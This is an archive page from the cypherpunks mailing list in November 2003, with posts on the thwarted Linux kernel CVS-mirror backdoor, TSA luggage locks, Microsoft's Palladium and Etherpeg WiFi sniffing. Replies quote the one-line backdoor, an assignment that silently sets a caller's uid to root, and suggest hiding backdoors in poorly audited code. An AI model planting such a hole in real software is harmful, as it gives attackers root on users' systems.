- cypherpunks-legacy - lists.cpunks.org

Re: [s-t] How a backdoor in the Linux kernel was thwarted (fwd)
by Jamie McCarthy 13 Nov '03

13 Nov '03

amerritt(a)spasticmutant.com (Spastic Mutant) writes: > Someone broke into a server at kernel.kbits.net and inserted > the following code into the Linux kernel: The code was inserted into a CVS mirror of the kernel. The kernel itself is stored and updated in BitKeeper, primarily on a machine of Linus's, and then copied to a public BitKeeper archive, and from there to the CVS mirror. Neither BitKeeper machine was not broken into and their code was not changed. So it's arguable whether the change, which was caught within 24 hours, constituted changing the Linux kernel. I would argue no. http://slashdot.org/article.pl?sid=03/11/06/058249 and I'm told that this coverage is good, but you and I aren't able to read it for a week :) http://lwn.net/Articles/57135/ -- Jamie McCarthy http://mccarthy.vg/ jamie(a)mccarthy.vg ----------------------------------------------------------- ----- End forwarded message ----- -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

1 0

Re: [Mac_crypto] MacOS X (Panther) FileVault
by R. A. Hettinga 13 Nov '03

13 Nov '03

--- begin forwarded text

1 0

Clipper for luggage
by Major Variola (ret) 13 Nov '03

13 Nov '03

Fwded for your comic relief: ------ From the New York Times. Any guesses on how long it'll take before your local hacker will have a key which will open any piece of your luggage? - Tim A Baggage Lock for You and the Federal Screeners By JOE SHARKEY Published: November 11, 2003 AIRLINE passengers will be able to lock checked bags confidently again starting tomorrow, thanks to a new customer-service initiative between private enterprise and the Transportation Security Administration. Here's how the plan will work: Several major luggage and lock retailers in the United States will announce tomorrow the availability of new locks, made by various manufacturers, that T.S.A. inspectors will be able to readily identify and open on checked bags selected for hand searches at airports. T.S.A. screeners in airports around the country have already been trained in using secure procedures to open the new certified locks when necessary, and relock them after inspecting bags. "Literally since we began the process of screening every checked bag for explosives in December, one of the challenges has been the ability to get into bags without doing damage to them," said Brian Turmail, a spokesman for the T.S.A. The system, developed in cooperation with the T.S.A. and the Travel Goods Association, a trade group, was designed around "a common set of standards that any company that manufactures, or is interested in manufacturing, luggage or luggage locks could follow that would allow T.S.A. screeners to open the bag without doing damage to the bag, in a manner that would allow the bag to stay secured afterwards,'' Mr. Turmail said. "In other words, we can open it, but no one else can." The locks will be available in various manufacturers' designs. All will be geared around a uniform technology allowing them to be opened by T.S.A. inspectors using a combination of secure codes and special tools, according to John W. Vermilye, a former airline baggage-systems executive who developed the system through Travel Sentry, a company he set up for that purpose. All the locks will carry a red diamond-shaped logo to certify to screeners that they meet the Travel Sentry standards. Mr. Vermilye said his company would receive royalties from manufacturers. The system will ensure that passengers using the locks will not have to worry about a lock being broken or a locked bag being damaged if it is selected for hand inspection. It will also mean more peace of mind for passengers worried about reports of increased pilferage from unlocked bags. "The general feeling of airline passengers is, 'I don't like to have to keep my bags unlocked,' " added Mr. Vermilye, who once worked as a baggage handler. "As somebody in the business for 30 years, I don't like it either, because I know what goes on" in some baggage-handling areas, he said. An industry study showed that 90 percent of air travelers are now leaving checked bags unlocked, whereas before this year about 66 percent of them said they always locked their bags. "I travel all the time, and I always used to lock my bags" until this year, said Michael F. Anthony, the chairman and chief executive of Brookstone, a specialty retailer with 266 shops, including 30 in airports. Besides the worry about theft within the airline baggage-handling systems, Mr. Anthony said he was concerned on business trips about unlocked bags in the hands of cab and airport shuttle drivers, bellhops and others. Brookstone airport shops are planning to introduce the chain's own brand of new locks with in-store promotions tomorrow, Mr. Anthony said. A package of two four-digit Brookstone combination locks costs $20. Luggage and other accessories with the lock standards incorporated also will begin moving soon onto shelves at Brookstone and other retailers. Mr. Anthony said that the locks represented a needed air-travel customer-service breakthrough, "helping people reclaim a sense of security they had in the past" with their checked possessions. The T.S.A. mandated screening of all checked bags starting last Dec. 31. Since then, most of the estimated 1.5 million bags checked daily in domestic airports have been inspected by bomb-detecting machinery - but about 10 percent of checked bags are opened and inspected by hand. Initially, the T.S.A. planned to issue a blanket prohibition against locking bags, but the agency ultimately decided instead to merely suggest that passengers not lock them. The T.S.A. public directive on the subject says: "In some cases screeners will have to open your baggage as part of the screening process. If your bag is unlocked, then T.S.A. will simply open the bag and screen the bag. However, if the bag is locked and T.S.A. needs to open your bag, then locks may have to be broken. You may keep your bag locked if you choose, but T.S.A. is not liable for damage caused to locked bags that must be opened.'' With bags unlocked, many travelers, including business travelers who pack expensive electronic gear, worried that their checked possessions were far too vulnerable to theft, passing unlocked through T.S.A. hands and into the standard airline baggage-handling systems. Reports of pilferage rose this year, as did concern about who was legally responsible for claims of theft or damage, since both government and airline employees have custody of bags at various points. Mr. Vermilye is a former head of baggage operations for Eastern Airlines who later worked as a top executive of the International Air Transport Association, a trade group for airlines worldwide. After 9/11, he was part of a team of industry consultants working with the T.S.A. to improve customer service. Mr. Vermilye and Mr. Turmail at the T.S.A. agreed that the new system would probably make the screening chore easier for inspectors. "With this system, they know they don't have to break a lock or damage a bag. They go, 'Relax, I know I can open it.' It ceases to become an issue," Mr. Vermilye said.

1 0

New info on Palladium
by Anonymous 13 Nov '03

13 Nov '03

For some updated news about NGSCB, aka Palladium, go to the Microsoft NGSCB newsgroup page at http://communities.microsoft.com/newsgroups/default.asp?icp=ngscb&slcid=us. This might be a good forum for cypherpunks to ask questions about Palladium. There was a particularly informative posting by Ellen Cram of Microsoft on October 15. Among other things she reveals that the Longhorn pre-release to be distributed at the Microsoft PDC (conference) will include NGSCB technology. It's not clear how this will work without the specialized hardware features, though. Also getting attention is a bizarre attempt at guerrilla marketing, where Microsoft employees are running blogs to promote Longhorn. http://longhornblogs.com/scobleizer/ provides a good example. In "How to Hate Microsoft", Robert Scoble, Longhorn technology evangelist, wants you to tell him everything you don't like about Longhorn. Pull no punches, he begs. So far there are a few comments about DRM but not much specifically about Palladium/NGSCB. On another front, John Walker of AutoCAD fame, who supported a number of quixotic projects through the 80s and 90s, like the ill-fated Xanadu, has a new publication out. The Digital Imprimatur, http://www.fourmilab.ch/documents/digital-imprimatur/, presents a dystopian future for the Internet that is heavily based on the potential negative consequences of Trusted Computing technologies like Palladium. In Walker's view, Palladium will spawn a net where you need a certificate to participate, and this will naturally lead to a "fully trusted" network where not only people, but all their transactions and documents will be certified, hence traceable and accountable. An "imprimatur" is a government license to run a printing press, and we will experience the same effect in the Trusted Internet of the future. Although Walker's story is meant to be a cautionary tale, the list of properties of the Trusted Net is so attractive that many readers are questioning why we should oppose these developments: an end to copyright violation, (unauthorized) eavesdropping, scams, security fraud, SPAM, worms and viruses. Walker's architecture also supports search engines that are 100% accurate, with low maintenance. The Trusted Net limits child pornography (and children's access to adult porn), hate speech, employee internet abuse, and tax evasion. It inherently supports DRM, satisfying the concerns of content providers and providing a foundation for wide-scale distribution of copyrighted content. Walker has put an intentionally favorable slant on his presentation in order to demonstrate how plausible it is that people will accept the restrictions of Palladium in exchange for all these benefits. The spam menace is already leading to calls for an Internet Drivers License even from some circles within the pro-freedom crowd, and a Trusted Net would be only a small additional step. While Walker's description of "how to put the Internet genie back in the bottle" is sobering, his track record as a prognosticator is not promising. He was wrong about the net before, and he's probably wrong about it now. A rather dull discussion forum for the essay is running at http://www.fourmilab.ch/wb/digital-imprimatur.pl. --------------------------------------------------------------------- The Cryptography Mailing List Unsubscribe by sending "unsubscribe cryptography" to majordomo(a)metzdowd.com

1 0

Certicom Sells Licensing Rights to NSA
by R. A. Hettinga 13 Nov '03

13 Nov '03

--- begin forwarded text

1 0

PGP Corporation Announces Release of PGP Desktop 8.0.3
by R. A. Hettinga 13 Nov '03

13 Nov '03

--- begin forwarded text

1 0

[s-t] How a backdoor in the Linux kernel was thwarted (fwd) (fwd from amerritt@spasticmutant.com)
by Eugen Leitl 13 Nov '03

13 Nov '03

----- Forwarded message from Spastic Mutant <amerritt(a)spasticmutant.com> -----

1 0

Re: [s-t] How a backdoor in the Linux kernel was thwarted (fwd)
by Oliver Xymoron 13 Nov '03

13 Nov '03

On Wed, Nov 12, 2003 at 02:55:05PM -0800, Spastic Mutant wrote: > > Someone broke into a server at kernel.kbits.net and inserted the following > code into the Linux kernel: > > if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) > retval = -EINVAL; More precisely into the CVS mirror of the Linux kernel, which is primarily maintained with BitKeeper. This copy of the tree is unauthoritative, the only authoritative copy sits on Linus' personal machine. Thus for this copy to get merged into Linux proper, someone would have to pull a copy from CVS, generate a patch containing the bogus code, and then ship it off to Linus. Linus would then have to completely fail to notice the meaningless code in an unrelated patch and apply it. As the kernel is currently in deep freeze, possibly weeks away from release, this is a rather unlikely scenario. More importantly, this is a mirror, and immediately broke on the next mirror update, and updates happen multiple times a day. > This was done in the code sys_wait4(). Larry McVoy caught the fact that the > change had been made, and was annoyed because it wasn't logged properly. > Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane > Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if > you hope to get root." > > So, an annoying violation of the software change logging requirements turned > out to be an attempt to install a backdoor in Linux. At least two very > experienced programmers looked at it and saw just slightly odd code, before > the serious nature of the threat was actually discovered. Except Zwane in fact knew exactly what the code was doing when he commented on its oddness and had to suffer dozens of people writing to explain the code to him. > This particular attack, by the way, is ruled out by the current voting > system standards, not because they require a comprehensive security > analysis, but because of their C-centered coding rules. Embedded assignment > is forbidden. Current source code checks are good at finding embedded > assignments and flagging them (as long as the code is written in C). No > doubt, a hacker of the sophistication suggested by the attack illustrated > above would strictly adhere to the coding guidelines in formulating their > attack. There was very little sophistication in this attack. a) It attacked a secondary repository with no likely method of getting fed into the core b) It got noticed as corruption by the automatic update tools immediately c) The patch itself created unreachable code which current compilers will warn you about d) And it wasn't particularly subtle by kernel standards We haven't heard how the attack was planted yet, but I'm expecting we'll hear it was done with script-kiddie tools. If you want to get a backdoor in the kernel, a more likely approach is to stick it in some poorly audited peripheral code and submit it when there's not a code freeze on. Even then, odds are heavily against you. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." -----------------------------------------------------------

1 0

Re: [s-t] How a backdoor in the Linux kernel was thwarted (fwd)
by Oliver Xymoron 13 Nov '03

13 Nov '03

On Wed, Nov 12, 2003 at 02:55:05PM -0800, Spastic Mutant wrote: > > Someone broke into a server at kernel.kbits.net and inserted the following > code into the Linux kernel: > > if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) > retval = -EINVAL; More precisely into the CVS mirror of the Linux kernel, which is primarily maintained with BitKeeper. This copy of the tree is unauthoritative, the only authoritative copy sits on Linus' personal machine. Thus for this copy to get merged into Linux proper, someone would have to pull a copy from CVS, generate a patch containing the bogus code, and then ship it off to Linus. Linus would then have to completely fail to notice the meaningless code in an unrelated patch and apply it. As the kernel is currently in deep freeze, possibly weeks away from release, this is a rather unlikely scenario. More importantly, this is a mirror, and immediately broke on the next mirror update, and updates happen multiple times a day. > This was done in the code sys_wait4(). Larry McVoy caught the fact that the > change had been made, and was annoyed because it wasn't logged properly. > Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane > Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if > you hope to get root." > > So, an annoying violation of the software change logging requirements turned > out to be an attempt to install a backdoor in Linux. At least two very > experienced programmers looked at it and saw just slightly odd code, before > the serious nature of the threat was actually discovered. Except Zwane in fact knew exactly what the code was doing when he commented on its oddness and had to suffer dozens of people writing to explain the code to him. > This particular attack, by the way, is ruled out by the current voting > system standards, not because they require a comprehensive security > analysis, but because of their C-centered coding rules. Embedded assignment > is forbidden. Current source code checks are good at finding embedded > assignments and flagging them (as long as the code is written in C). No > doubt, a hacker of the sophistication suggested by the attack illustrated > above would strictly adhere to the coding guidelines in formulating their > attack. There was very little sophistication in this attack. a) It attacked a secondary repository with no likely method of getting fed into the core b) It got noticed as corruption by the automatic update tools immediately c) The patch itself created unreachable code which current compilers will warn you about d) And it wasn't particularly subtle by kernel standards We haven't heard how the attack was planted yet, but I'm expecting we'll hear it was done with script-kiddie tools. If you want to get a backdoor in the kernel, a more likely approach is to stick it in some poorly audited peripheral code and submit it when there's not a code freeze on. Even then, odds are heavily against you. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." -----------------------------------------------------------

1 0

Re: MacOS X (Panther) FileVault
by Tim May 12 Nov '03

12 Nov '03

On Nov 12, 2003, at 7:13 PM, Marshall Clow wrote: > At 6:18 PM -0800 11/12/03, Tim May wrote: >> A big hit was "Etherpeg," from www.etherpeg.com, which intercepts >> packets over a WiFi network and reconstructs the packets into JPEG >> images (if they exist). Since most of the Macs in the audience were >> on a local WiFi/"AirPort" network, arranged ad hoc, the output was >> put up on the LCD projector during one of the main talks. Images of >> naked chicks, oh my! > > This was done for the hack contest at MacHack 2001, also. > [ I have no idea if that was the first time, either. ] > > The following year (2002) it was enhanced to return fake banner ads, > since > machines on the "local" net could certainly answer before > "ads.doubleclick.com" could. :-) > I didn't mean to give any impression that it was done by the HC attendees, just that it was a big hit. And since there were 30-50 Macs and PCs in the audience, with many on the ad hoc WiFi/AirPort network, and many links to the outside, there were a _lot_ of JPEGs whizzing by. Sometimes a blizzard of dozens per second, sometimes just a few per second. The dynamics were interesting, too. The JPEGs started out being from porn sites, then became related to whatever the speaker was talking about. For example, if someone mentioned the evening's keynote speaker, Don Norman, a bunch of sites and photos related to him would appear (about 10 seconds later). If someone mentioned snow on the roads (near Yosemite), weather maps would appear. --Tim May

1 0